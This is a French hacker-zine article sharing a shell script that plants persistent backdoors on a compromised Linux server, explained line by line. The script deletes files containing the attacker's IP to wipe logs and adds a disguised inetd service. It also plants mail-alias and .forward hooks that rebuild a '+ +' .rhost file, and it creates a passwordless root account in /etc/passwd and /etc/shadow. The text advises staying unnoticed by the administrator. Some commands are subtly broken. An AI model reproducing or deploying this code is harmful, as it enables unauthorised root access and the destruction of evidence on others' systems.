=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Programmation Shell et Backdoor sous NUX Sauron =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SAlut, j'ai réalisé un (mini) script shell installant des backdoors sur un systeme linux, je fourni ici le source et je vais detailler son utilisation et la maniere dont il agit pour poser des backdoors. Voici le script, pour l'essayer copier tout son contenu dans un fichier puis lancez le chmod +x ) #-------------------- DEBUT APRES CETTE LIGNE -------------------------------------# echo BACKDOOR PAR SAURON echo On va deja effacer les logs... a="Effectué" b="Le programme a echouer, desoler" echo Entre ton ip UNIQUEMENT : echo ip="" read $ip rgrep $ip / | xargs rm -f || echo $b echo echo Pose de la backdoor... cd / || echo $b cd /etc || echo $b set linecount = 'wc -l < inetd.conf' || echo $b cp inetd.conf ./tmpinetd || echo $b echo "conf stream tcp nowait root /etc/in.confd" >> ./tmpinetd mv ./tmpinetd inetd.conf || echo Merde ! chmod 644 inetd.conf rm -rf ./tmpinetd || echo Il restera des preuves evidentes ! echo "conf 2/tcp config kernel" >> services echo "echo + + >> /../root/.rhost" >> in.confd || echo $b echo "echo Config Kernel Linux with Module...........; find / -perm 707 -print || echo Module kernel succefully install .." >> in.confd || echo $b chmod +x in.confd || echo Gloups ! killall -HUP ine echo $a echo "cd /etc ;./in.confd" >> /../root/.forward || echo zut ! echo "root: sh etc//in.confd" >> aliases || echo crotte ! newaliases echo Ne faite pas gaffe au msg de aliases c'est normal...; echo "conf::0:0:include kernel configuration do not errase this line:/:/bin/bash" >> /etc/passwd echo "conf::0:0:include kernel configuration do not errase this line:/etc:/bin/bash" >> /etc/shadow echo "conf" >> /etc/ftpusers #-------------------------------- COUPER AVANT CETTE LIGNE -------------------------------# Comme vous pouvez le voir, les commandes utiliser sont uniquement les commandes de bases, les plus courantes. ligne 3 et 4, deux variables sont declarer et une valeur leur est donner, elles correspondent aux deux messages qui s'afficheront plus tard dans le programme. b s'affichera quand le programme rencontrera un probleme, et a si tous ce passe bien. une nouvelle variable apparait, il s'agit de ip, dont la valeur est defini par "read" : ce que tapera l'utilisateur au moment de la saisi clavier implementera la variable. Une recherche sera ensuite lancer sur tous le systemes ( tres long, je conseille d'enlever les lignes 5 a 7 et d'utiliser un cleaner de log a cote pour ceux qui peuvent )afin de trouver les fichiers ou le contenu de $ip, c'est à dire ce que vous avez taper, est present. Ces fichiers seront automatiquement detruit. Ainsi, si vous tapez root a la place de votre ip, ce sont tous les fichiers ou le mot "root" est present qui seront afficher !!! Donc, fo faire gaf ! Voila, pour cette premiere partie un peu inutile puisque l'administrateur reseau se rendra compte de quelque chose si il manque tous les fichiers de logs ... ;o) C'est pk il vaut mieux modifier le script pour qu'il enleve uniquement les Lignes ou l'ip est presente. Ensuite plusieurs actions vont etre effectuer, elle consistent en la pose de la backdoor, c'est la que ca devient interessant... Le script commence par rajouter une ligne dans /etc/inetd.conf (il faut bien sur avoir les droits root ), un service va etre rajouter qui executera un programme qui jouera le role de backdoor et d'un fichier de configuration du kernel. Si le sysap n'est pas bete il editera le fichier et comprendra alors que c'est simplement un trojan. La meilleure maniere de garder le root sur un serveur est de ne pas du tout se faire remarquer. Si il capte ne serait ce qu'un fichier, il est probable qu'il entreprenne de surveiller son systeme de facon plus ardue. Cependant, il y a d'autre backdoor qui sont implementer dans le systeme et pour peu qu'une seule ait été negliger, toutes les autres re-apparaitront. Vous serez averti si le sysap a griller puisque le fichier /root/.rhost ou /etc/in.confd auront disparu. Si c'est le cas, je ne vous conseille pas de rester sur ce systeme ou bien installer un autre type de backdoor, je pense notamment un une rootkit qui est encore le moyen le plus radical. Toutefois je ne vous encourage pas a Hacker des serveurs et a les exploiter pendant des mois, mais ca reste une possibilité et il existe de nombreuses manieres de s'en proteger. La ligne supplementaire qui a ete ajouter a /etc/inetd.conf fait appel a un script shell qui fait apparaitre un msg bidon de soit disant reconfiguration du kernel, juste au cas ou le sysap le lancerai et n'oserait pas l'effacer pensant que ce fichier est important, mais ne revez pas, a moins d'etre non-qualifié ou de ne pas connaitre du tout linux, il comprendra. Une ligne est rajouter egalement dans /etc/aliases, a chaque fois qu'un mail est envoyer au sysap /etc/in.confd est executer, ce qui a le meme resultat que le relancement ligne 25 de inet. Si le sysap remarque la presence d'un fichier permettant a n'importe qui de se connecter en root sur son systemepar le biais de rlogin, il l'effacera, celui ci sera alors imediatement re-creer si un mail est envoyer au root@thevictime ;o) Enfin, un compte root supplementaire est creer, dans /etc/passwd et /etc/shadow au cas ou le shadowing des mdp est enclenchés. Comme il n'y a pas de passe, cela ne change rien. Si vous comptez avoir un acces telnet et root sur la machine, verifiez si le # a ete supprimer de /etc/inetd.conf a la ligne du telnet.(Nd ad-tonnou #=port fermé et pas de #=port ouvert) Il reste tout de meme un espoir dans la mesure ou vous avez su gagner le root sur le systemes avant de poser la backdoor. Pour toutes questions, commentaires, critiques, n'hésitez pas : sauron@frhack.org Finalement, j'ai pas parler de la programmation de script shell, mais si vous avez observez le script vous aurez vite compris, voici un listing des commandes avec leurs fonction au cas ou certains ne pigerait pas : read : attend une saisie clavier pour implementer une variable, ds ce script c'est "ip" qui etait defini plus haut qui est implémenté. NOTE : on appele une variable en faisant $variable et non variable tout seul. newaliases : ca sert simplement a relancer ce service apres avoir apporter des modifs, comme le rajout d'une ligne par exemple ;o) --== Sauron ==--